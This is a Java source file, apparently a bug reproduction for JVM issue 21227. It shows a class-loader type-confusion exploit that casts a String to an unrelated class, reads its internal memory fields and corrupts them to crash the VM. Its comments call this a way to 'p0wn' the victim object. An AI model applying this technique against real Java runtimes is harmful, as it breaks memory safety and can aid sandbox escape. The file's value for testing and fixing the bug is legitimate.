bug_21227.java

import java.lang.reflect.*;
import java.security.*;

abstract public class bug_21227 {

  // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
  public static Object _p0wnee;

  public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
    System.out.println("Warmup");

    // Make a Class 'many_loader' under the default loader
    bug_21227 bug = new many_loader();

    // Some classes under a new Loader, LOADER2, including another version of 'many_loader'
    ClassLoader LOADER2 = new Loader2();
    Class clazz2 = LOADER2.loadClass("from_loader2");
    IFace iface = (IFace)clazz2.newInstance();

    // Set the victim, a String of length 6
    String s = "victim";
    _p0wnee = s;

    // Go cast '_p0wnee' to type You_Have_Been_P0wned
    many_loader[] x2 = bug.make(iface);

    many_loader b = x2[0];

    // Make it clear that the runtime type many_loader (what we get from the
    // array X2) varies from the static type of many_loader.
    Class cl1 = b.getClass();
    ClassLoader ld1 = cl1.getClassLoader();
    Class cl2 = many_loader.class;
    ClassLoader ld2 = cl2.getClassLoader();
    System.out.println("bug.make()  "+ld1+":"+cl1);
    System.out.println("many_loader "+ld2+":"+cl2);

    // Read the victims guts out
    You_Have_Been_P0wned q = b._p0wnee;
    System.out.println("q._a = 0x"+Integer.toHexString(q._a));
    System.out.println("q._b = 0x"+Integer.toHexString(q._b));
    System.out.println("q._c = 0x"+Integer.toHexString(q._c));
    System.out.println("q._d = 0x"+Integer.toHexString(q._d));

    System.out.println("I will now crash the VM:");
    // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
    //q._c = 3;
    q._a = -1;

    System.out.println(s);

  }

  // I need to compile (hence call in a loop) a function which returns a value
  // loaded from classloader other than the system one.  The point of this
  // call is to give me an abstract 'hook' into a function loaded with a
  // foreign loader.
  public abstract many_loader[] make( IFace iface ); // abstract factory
}